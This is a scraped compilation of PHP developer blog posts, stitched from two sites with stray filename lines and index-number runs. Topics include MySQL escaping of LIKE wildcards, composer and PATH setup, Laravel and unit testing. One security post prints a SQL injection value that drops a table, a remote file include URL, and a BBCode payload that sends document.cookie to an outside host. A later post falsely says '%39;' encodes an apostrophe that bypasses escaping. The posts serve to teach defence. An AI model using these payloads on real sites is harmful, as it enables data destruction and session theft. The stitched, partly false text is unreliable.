http___blog.petkanski.com_2011__1.xml
http___andrewjudd.ca_blog_tag_php.xml
1.1 1.2 1.3 2.1 2.2 3.1 4.1 4.2 4.3 5.1 6.1 6.2 7.1 7.2 7.3 8.1 9.1 10.1 11.1 12.1 13.1 13.2 14.1 16.1 17.1 18.1 19.1 19.2
Доста време не съм пускал нови статийки в блога, но така е когато времето е в сериозен минус. Не успявам да се справя дори със задачите които съм обещал преди повече от месец, какво остава да намеря свободно време да пиша на свободна тематика. Ники Василев ме чака вече не знам колко време за едно елементарно скриптче, а аз се мотам ли мотам.. Луда работа. По темата.. Днес ми се наложи да сравнявам предимства и недостатъци на няколко framework-чета. При едното от тях липсваше вграден database model, така че се наложи да ползвам нещо отделно. В конкретният случай се спрях на PDO и реших да си напиша няколко базови класчета.. За да съкратя историята, направо ще ви синтезирам това което Ви е нужно да знаете ;) При МySQL имате два вида сравнение на низ от символи (string) - това са равенство и сравнение с pattern, посредством LIKE или регулярен израз. В моят случай използвам LIKE, защото е най-бърз за имплементация и защото отговаря на нуждите ми и няма смисъл от overengineering. Случаят е простичък - имам данни в базата, имам и търсачка която търси с LIKE. Това което ме изненада, беше, че mysql_real_escape_string() допусна символи в низа които са със специално значение, а именно - символите за процент (%) и долно тире (_). В най-общият случай - при вмъкване на данни или сравнение със равенство това не ви бърка, но когато ползвате LIKE нещата стоят по малко по-различен начин. Получи се ситуация, при която аз търся в базата данни къде е споменато "100%", но тъй като символът за процент не се escape-ва, се получава, че търся низ който съдържа 100. Query-то което се генерира е следното: SELECT * FROM SomeTable WHERE `textField` LIKE '%100%%' Очевидно, това не е поведението което би се очаквало, след като имаш илюзията, че данните са ти escape-нати правилно. След като разбрах какъв е проблема си помислих, че може би е проблем на mysql_real_escape_string() и веднага си отворих http://www.php.net/mysql_real_escape_string - но се оказа, че това е очаквано поведение. В документацията на функцията ясно са писали, че тя "prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a". Ето го точният цитат от сайта mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL. Може би символите за wildcard попадат точно в тези изключения които са споменали. Изводът е простичък - винаги минавайте един профилактичен str_ireplace() или preg_replace() на данните които използвате при генериране на заявка за търсене в базата данни за да няма изненади. Нека това, че ползвате prepared statements не ви дава чувство за сигурност.
1.1 2.1 3.1 4.1 4.2 4.3 5.1 5.2 5.3 5.4 6.1 6.2 6.3 6.4 7.1 7.2 8.1 9.1 9.2 10.1 11.1 12.1 12.2 12.3 13.1 14.1 15.1 15.2 16.1 16.2 16.3 17.1 17.2 18.1 18.2 18.3 18.4 18.5 18.6 18.7 19.1 19.2 19.3 19.4 19.5 20.1 20.2 20.3 20.4 20.5 21.1 21.2 21.3 21.4 22.1 22.2 22.3 23.1 23.2 23.3 23.4 23.5 24.1 24.2 24.3 24.4 24.5 24.6 24.7 25.1 26.1 27.1 28.1 29.1 30.1 30.2 30.3 31.1 31.2 32.1 33.1 33.2 33.3 33.4 33.5 34.1 34.2 34.3 34.4 35.1 35.2 35.3 35.4 35.5 35.6 35.7 35.8 35.9 35.10 35.11 36.1 37.1 37.2 38.1 39.1 40.1 41.1 42.1 43.1 43.2 43.3 43.4 43.5 43.6 44.1 45.1 45.2 45.3 45.4 45.5 45.6 46.1 46.2 46.3 46.4 46.5 46.6 46.7 46.8 46.9 47.1 47.2 47.3 48.1 48.2 48.3 48.4 49.1 49.2 49.3 49.4 50.1 51.1 52.1 53.1 54.1 54.2 55.1 56.1 57.1 57.2 58.1 58.2 58.3 58.4 58.5 59.1 60.1 60.2 60.3 61.1 61.2 62.1 63.1 64.1 65.1 66.1 67.1 69.1 69.2 69.3 70.1 71.1 71.2 73.1 74.1 74.2 74.3 74.4 74.5 74.6 75.1 76.1 77.1 78.1 78.2 78.3 79.1 79.2 79.3 80.1 81.1 81.2 83.1 84.1 84.2 84.3 84.4 84.5 84.6 85.1 86.1 87.1 88.1 88.2 88.3 89.1 90.1 91.1 91.2 91.3 91.4 92.1 93.1 93.2 93.3 94.1 95.1 96.1 97.1 98.1 98.2 99.1 102.1 104.1 104.2 104.3 105.1 106.1 107.1 112.1 112.2 113.1 114.1 115.1 116.1 117.1 118.1 119.1 119.2 119.3 119.4 119.5 119.6 119.7 120.1 121.1 122.1 123.1 124.1 124.2 125.1 126.1 127.1 128.1 128.2 128.3 128.4 128.5 128.6 128.7 128.8 128.9 129.1 130.1 131.1 131.2 131.3 131.4 131.5 131.6 131.7 131.8 131.9 133.1 135.1 135.2 136.1 137.1 139.1 139.2 140.1 140.2 140.3 141.1 142.1 143.1 143.2 143.3 144.1 144.2 144.3 144.4 145.1 145.2 146.1 147.1 147.2 147.3 147.4 148.1 149.1
I recently started playing more and more with PHP7.1. To begin my experience, I started by aliasing on my command shell as follows: alias php='/Applications/MAMP/bin/php/php7.1.0/bin/php -c "/Library/Application Support/appsolute/MAMP PRO/conf/php7.1.0.ini"' I thought ok cool, with it being on my path as “php” composer will automatically pick up that version. However, it did not. I kept getting the following error message: Your requirements could not be resolved to an installable set of packages. Problem 1 - package/name dev-master requires php ^7.0 -> your PHP version (5.6.28) does not satisfy that requirement. - package/name dev-master requires php ^7.0 -> your PHP version (5.6.28) does not satisfy that requirement. - Installation request for package/name *@dev -> satisfiable by package/name[dev-master]. Finally, I decided to do a bit more digging. In doing so, I determined that composer was getting PHP from my path. However, only an un-aliased version of it. This meant that it ended up pointing back to the base install of PHP 5.6. So, what I needed to do to fix the problem, was to update the order in which it finds PHP on the path. More specifically, in my “.profile” file, I updated the PATH variable to say the following: export PATH="/Applications/MAMP/bin/php/php7.1.0/bin/:$PATH" And that is all. I am now able to successfully run composer with PHP7.1. Posted in php Tags: So, after you read my first blog post, you can see, that I'm a strong believer in the use of frameworks. But there are so many frameworks out there! So why did I choose Laravel out of all of the possibilities? At the time that I was choosing a framework, there were several main players: Don't get me wrong, all of these frameworks are good and have their benefits but these were some of the leading factors that pushed me away from the other ones. The fate of CodeIgniter was somewhat questionable. Around the time I started developing some of my projects, the main company that was supporting it was abandoning ship so I wasn't too sure about the status / livelihood of it at that point because of that, and it was built for an older version of PHP and from what I had read, the code wasn't updated to make use of the newer features which made it so that this framework was not the one for me. I had tried both Symfony and Yii before, but I got confused in them. There was stuff that magically worked (which is awesome) and stuff that you had to do. I ended up scrapping those because I never really got into the flow of working with those. I had a friend who was friends with the creator of CakePHP he got some decent say into what was going on. However, he also said that it felt and was very bloated which immediately deterred me from using it. Which brings me to Laravel. I started playing with it back in the day of Laravel 3. After a little ramping up, it just clicked with me. At the time I was just starting up a freelance project and decided it was the best approach because it does follow the "Model View Controller" approach, and it was starting to gain a little bit of steam in the PHP development community. The thing that really struck me was how flexible it was. I could literally just "plug stuff in" and it works. Or, if I don't like how one thing is configured in the main framework, no problem, I can tweak it in my own area to better suit my needs! The best part about it is that they supported closures! For those of you who do not know what closures are, they are essentially ways of scoping things into a function call. With Laravel, if there is a value at that point in time, it will just use the value otherwise it will call the function (even an anonymous function) in order to derive the required value(s). This was a huge plus for me! It means I can easily inject more logic as I need to. After that Laravel 4 came out. I was hesitant! I started using it (and composer) for the first time and for me, it was a nightmare! Sure, part of it was me being new to using composer and how the library dependencies worked. But, after a few days of struggling, and several bug fixes later, I started working and enjoying Laravel 4 as much as I did Laravel 3. After the initial ramp up on Laravel 4, I found myself excited to code! And, now that I knew how composer worked, I could make my own packages to help other developers using Laravel! I was on cloud nine! That was when I built 4 different packages for Laravel: Then they came out with Laravel 4.1 which required lots of changes to your existing code but it did feel like it was working better. I took that as an opportunity to build up Virtual Pet Directory. And did it ever feel good to be coding. Now here I stand mid-November and Laravel 5.1 is out and guess what? Long Term Support! Taylor Otwell from Laravel has now said "this is our best incarnation of the framework, we will now be supporting it for the future". For a developer, and an owner of a site, this is a huge win. It means I can now code with confidence that if there are bugs, they will be resolved and pushed forward in new releases. Over the last 3 years, Laravel's core community has jumped in between a few sites. They started directly on the main Laravel domain, and now finally reside over on Laracasts. What is Laracasts you may ask? Well, Laracasts is an incredible resource made by Jeffery Way, who is a Laravel enthusiast and an amazing teacher. Through this site, he teaches things such as best practices, cool new features of both Laravel and PHP. He has several in depth breakdowns of what is actually going on in the Laravel framework and it is just an invaluable resource for anyone starting out. And, if you still have questions about how to do stuff in the framework, then all you need to do is write on the discussion forums and a lot of people are willing to help you out. Laravel is still actively being developed and has a large number of contributors who all do their best to improve it with commits going in each day! So, to conclude I have a few reasons why I chose Laravel for my primary framework and they are: Thanks for reading :) Posted in laravel Tags: Testing in general is a process that is normally left really in a partial state. The problem with this fact is it normally leaves things up to users or testers to find. And then, once found, the cost to fix the bug could be huge and hypothetically speaking, could touch various other parts of the application. This is where unit tests and integration tests come in handy! Since this is a fairly broad topic, I am going to start by just talking about Unit Tests. By definition, unit testing is a software testing method by which individual units of the source code are tested to determine whether they are fit to use. So let's start from the beginning. What is a unit? It is the smallest testable part of an application. In procedural programming this could be an entire function, or as much as an entire page / section of code. In object oriented programming, these either an interface, or could even be a class. But writing unit tests is still me writing code how will it help in the long run since it's taking away from the development of my site? It will help in the long run. I've had several occasions come up when I go to change "one small thing" which then ripples through and breaks other pages that touch this one unit. Essentially you are building your first layer of protection against future potential bugs. The nice thing about writing test cases is it also allows you test things that may occur on the fringe cases. This will help to ensure that everything will should act as it's supposed to even in the strangest of situations. One of my favourite testing strategies (although admittedly I rarely do it), is actually test driven development. With Test Driven Development, you start coding by knowing what you want the end result to be (for your unit of work). You actually write tests for it and expect it to fail. If it doesn't fail right out of the gate, then your test may not actually be doing anything/finding anything useful. Then as you work your way through the development of this unit, you run your tests. Are all of your tests passing? If they aren't, then you know that you still have some work to do. However, if everything passes, then you know your application should work for at least all of your known cases. Which if you set up your tests correctly, should give you good confidence in the code. The nice thing about writing these unit tests is that once you find a bug in any environment and resolve it, you are then able to actually write a unit test in order to actually test for that case so, if you change some more code, you don't re-introduce that bug. With PHP, I, like most people, use PHPUnit as the primary unit testing software. Not only because it's built into Laravel and Laravel actually has helpers built on top to make the testing process even easier! Although writing these test cases can sometimes be a big pain in the butt, if you do it correctly it can help you to spot issues earlier on in development before the time when it is "too late". Hopefully this comes in handy for you! Posted in php Tags: My anniversary for owning IcePets.com is coming up fairly soon (August 8th) and all I can say is wow has it ever been a ride so far. I had been working as a freelancer with them for a little over a year, so I knew exactly what I was getting into. Some very bad legacy code which was pieced together (and still holding fairly strong) with super glue and duct tape. When going through the code, I noticed numerous back doors into the site that a previous programmer had built in for "security reasons". AKA, in case they were banned, they would be able to make their way back into the site. Those were patched, and the user was banned. But here I was, owning a site and working with a bunch of people who I now call my friends with no idea the full vision. So, my first order of duty was to bring the recode up into the foreground because the site wasn't really moving anywhere fast because I knew if this site was to be anything, the recode would bring a definite life to it. Laravel was just breaking through the headlines on the PHP front when I had started working on the site. But not only that, I was just working through the framework at the time and was entirely overwelmed! There was so much going on, I knew it was all good and neat but just so much stuff! But, I managed to power through it. I started building the site up with Laravel 3. A month later I heard that Laravel 4 was getting ready to be launched and it had some fairly substantial changes in it (aka - don't bother even trying to upgrade, just re-implement (copy and paste code) and build it up that way. I was a little hesitant, but decided it had to be for the best. That was when I was first introduced to "composer". I had always dreamed of a way to easily incorporate other open source work into my projects, but never really knew a way. This in itself was confusing! Finally I managed my way through that hump and then came the next releases of Laravel (4.1 and 4.2). These were fairly big. By this point in time, I had already really started to focus on coding lots of the features. There were things I felt were clunky but it worked. But something felt wrong. When Laravel 5 came around, I decided to revisit the entire framework that I had thrown together to build IcePets version 2 (yes - a bit of a framework on top of the framework). So, I started from scratch again. This was ok because this time I knew it felt cleaner. The last two years have been such a learning experience for me both technically and with leadership skills. Looking back when I had originally thought about my very lofty goal of finishing the IcePets recode in a year, I realize how oblivious I was. And, to be honest, I'm glad I didn't make that personal goal. The technical learnings that I have picked up through the multiple iterations through the code, has slowed down progress on the site, but it has also opened my mind to way more options which I never even thought was possible. I would like to say thank you to both the IcePets.com staff members as well as all of our loyal members who stick with us through this recode. The best thing about the recode to me is the excitement it brings to me each and every time I think about it. There are so many opportunities for us to morph the site into something substantially better than it currenlty is. Once the recode is done, I think you will love the site and it will be a great place for all of us to bond as a community! Thanks for reading! Posted in icepets Tags: A few weeks ago, a friend of mine mentioned (just after I did a painful upgrade to Laravel 5.2 - I messed up a few times so it ended up taking longer than the estimated 1 hour), a service that will automatically upgrade Laravel (for a fee) from one version of Laravel to another and they were having a discount because they were in alpha! So, knowing I had an old Laravel 4.2 application running up in production, I figured "what is the worst that could go wrong?". So I decided to give it a shot because an upgrade like that would take me a while to manually do. Their steps are fairly straight forward. Select the "Shift" (the upgrade) you want Once the job is completed, you will now have a new branch in your repository. This branch contains all of the changes that they have made, and a slew of suggestions that they found as they went through it. So, you may be thinking. "I changed my 'config/app.php' file to include some more stuff. Will I lose those changes?". The answer is no! They recognize the changes to the file and instead of automatically modify it, they add comments to the pull request that they generate saying "you will need to merge this manually.". Once you are happy with the remaining changes, and have fully tested your application, it is time to merge the pull request in, and you are done! The other migration that I completed with it was a migration from Laravel 5.1 to Laravel 5.2. In this shift, we found a tiny bug (it suggested I remove "pluck" from a JavaScript file because it assumed I was using the eloquent model's "pluck" command). I reported it through a comment on the pull request and they responded fairly quickly acknowledging and resolving the issue going forward! I am loving the tool and can't wait to use it in the future! I would strongly suggest trying it out whenever you have a chance! Laravel Shift: https://laravelshift.com Posted in laravel Tags: Problem: Capitalizing the first character of each word in a string (i.e. “the final countdown” → “The Final Countdown”). Solution: C# has a built-in function for this. Its called ‘toTitleCase’, hidden deep within the System. Globalization namespace. So how do you use it? using System. Globalization; // Get the instance of the TextInfo class to use to (no constructor), comes from the current thread TextInfo info = (System. Threading. Thread. CurrentThread. CurrentCulture). TextInfo; string sample = "hello world"; // Print to console the title case // Outputs: Hello World Console. WriteLine(info. ToTitleCase(sample)); The ‘ToTitleCase’ function returns an instance of a string which will have all of the first characters in words changed to upper case, and leaves the rest of the text as is. This means that if a word is in all capital letters it will remain that way. A simple work around for this is to call the string object’s ‘ToLower’ function before we send the string into the ‘ToTitleCase’ function. For example, using System. Globalization; // Get the instance of the TextInfo class to use to (no constructor), comes from the current thread TextInfo info = (System. Threading. Thread. CurrentThread. CurrentCulture). TextInfo; string sample = "HELLO world"; // Print to console the title case // Emits: HELLO World Console. WriteLine(info. ToTitleCase(sample)); // Pre-lowercase everything // Emits: Hello World Console. WriteLine(info. ToTitleCase(sample. ToLower())); PHP: The PHP version of this function is a fair bit easier to get to. PHP’s function is called ‘ucwords’. However, similar to the C# version you should always have the string sent in in lower case if you want it to only make the first character of each word upper case (it only changes the first character and doesn’t touch the others). // Outputs: The Final Countdown echo ucwords('the final countdown'); Posted in programming Tags: Just because PHP allows you to do something, doesn't mean that it is the best thing to do. For example, PHP will automatically convert single word strings (non-quote/apostrophe delimited) into an actual string if required. $arr = array(); $arr[foo]='bar'; In this case, PHP will automatically convert foo to the string 'foo'. However, this up conversion doesn't come without a cost. For example, when timing the use of this script, the following are the results: $ time php test.php real 0m1.641s user 0m1.424s sys 0m0.044s However, when running the following script and not forcing it to up convert, the results are extremely different. $arr = array(); In this case, the word 'foo' is already pre-defined as a string, so no up conversion is required. The time for this is as follows: $ time php test.php real 0m0.467s user 0m0.292s sys 0m0.052s As you can see, by including the quotes and telling PHP that it actually is a string, you can potentially reduce the execution time for your PHP scripts. Keep this in mind when using the associative arrays in PHP. Posted in php Tags: I must first start this post with a comic on the topic ... it comes from xkcd.com. Anyways, this shows one of the many reasons why one should never trust any input from a user. This means that you should assume that all users have malicious intent and are attempting to break into your site. Of course, this is not always the case however, when it is, bad things can happen all around. No matter how you are getting data from the user, be it through an input field, URL, hidden field, drop down list etc. users are able to change the information to better suit their attacking desires. This means always make sure that the data is within the bounds of what is expected! What are some examples of bad things which can happen from the user of exploits? I have listed two of the more common threats which I see on a day-to-day basis. Examples! SQL Injection Just say you have a form where you allow the user to select how many records they want to display: How many records should be displayed? And the back end of your application looks something like this: $query = "SELECT * FROM `news` LIMIT " . $_POST["count"]; $res = mysql_query($query); What is to stop the user from modifying one of the values in the drop down list to: 5; DROP TABLE `news`; Nothing! However, if you don't prevent such a thing from being allowed in your query (i.e. not doing enough data validation), after the user runs that query, your entire 'news' table will be dropped from the system, which was probably not what was originally intended for the script. I have mentioned this method of prevention before, and I'll mention it again, SQL prepared statements. If data is sent in as a parameter rather than as a direct part of the query, there are no chances that the query may be mistaken and have two queries execute instead of one. Cross Site Scripting (XSS) These security vulnerabilities can be fairly hard to track down, however there is always a way. Simple XSS Just say you have your URLs as something like this: http://url.com/read.php?file=temp.php Where in your actual PHP script you have a server side include for whatever value was passed in through $_GET. Well, this is opening up an entirely new can of worms. Yes it works for pages which are on your server, however, it will also work for sites which are off site if you are not careful in your validation. Sample Code: // This is a VERY bad idea, however it is only an example include($_GET['file']); If I were to change the URL from: http://url.com/file=temp.php To: http://url.com/file=http://www.google.com By default, PHP will not think anything of it. It will treat the website as a file stream just as it does the 'temp.php' which was originally passed in. And low and behold, somebody is now using your site to access Google. Lesson: validate and verify that the file exists LOCALLY before running the include. Cookie Grabber Since cookies are only accessible on the site which they are associated with, cookie grabbers must use this in order to get the information they need. A fair number of implementations of BBCode which I have seen have allowed for gaping holes because of this. For example, most implementations use regular expressions in order to pick up on the required information (which is what they should be used for). However, since urls and things can have a large number of characters, most programmers choose to use the greedy approach and use the 'anything but newline character' (the period). Regex (something similar to this, as I cannot remember the exact regular expression): This regular expression will then be replaced in the emitted HTML code to be: This is all fine and dandy, and it picks up what is required however, it also has the ability to pick up more than expected and/or desired. For example, if the following was provided it would allow the user to gain access to the cookies which are for a particular site. [img=http://www.google.ca/logos/gabor10-hp.png" onclick="document.location.href='http://some_other_url.com/cookies.php?cookie='+document.cookie] This has the potential for changing the emitted HTML into becoming: Effectively causing your web browser to relocate to a different URL with your cookie in the link which they will then log for future use. Of course, if a little extra time was spent in the sanitation of the input problems like this can be filtered out. Summary: In summary, never ever ever trust user's input. It will only lead you towards worlds of pain. Hope this helps! Posted in php Tags: I have recently seen posted numerous times that if you run the function 'mysql_real_escape_string' on any data, you are then automatically safe from SQL injection. Well, this isn't the case at all ... To start, let's look at what php's documentation about 'mysql_real_escape_string' says: php.net Escapes special characters in the unescaped_string, taking into account the current character set of the connection so that it is safe to place it in a mysql_query(). If binary data is to be inserted, this function must be used. mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL. So, not only does it force you to have the mysql connection (why is this really needed for just escaping a few characters?), it just adds a '\' before some of the characters which could break a query. This is because lots of people write queries as follows: $query = "SELECT `user_id`, `username`, `startdate` FROM `users` WHERE `username` = '$username'"; However, if $username contains "blarg'; DROP TABLE `users`; --", then mysql_real_escape_string will change it to "blarg\'; DROP TABLE `users`; --" which will not break the query (so the users table will not be dropped). But if the attacker was smarter and used a different representation of it by using %39; (hexadecimal value for '), mysql_real_escape_string will not touch it, so it will go into your query and inconveniently drop your table. This small example shows the the use of 'mysql_real_escape_string' is ineffective in preventing against SQL injection. Instead of using 'mysql_real_escape_string' I would strongly suggest the use of database parameters (prepared statements) for all queries, or create a way which will convert from the %39; to their corresponding values (i.e. html special chars decode) just to make sure that characters you don't want to be in there don't sneak in. Posted in php Tags: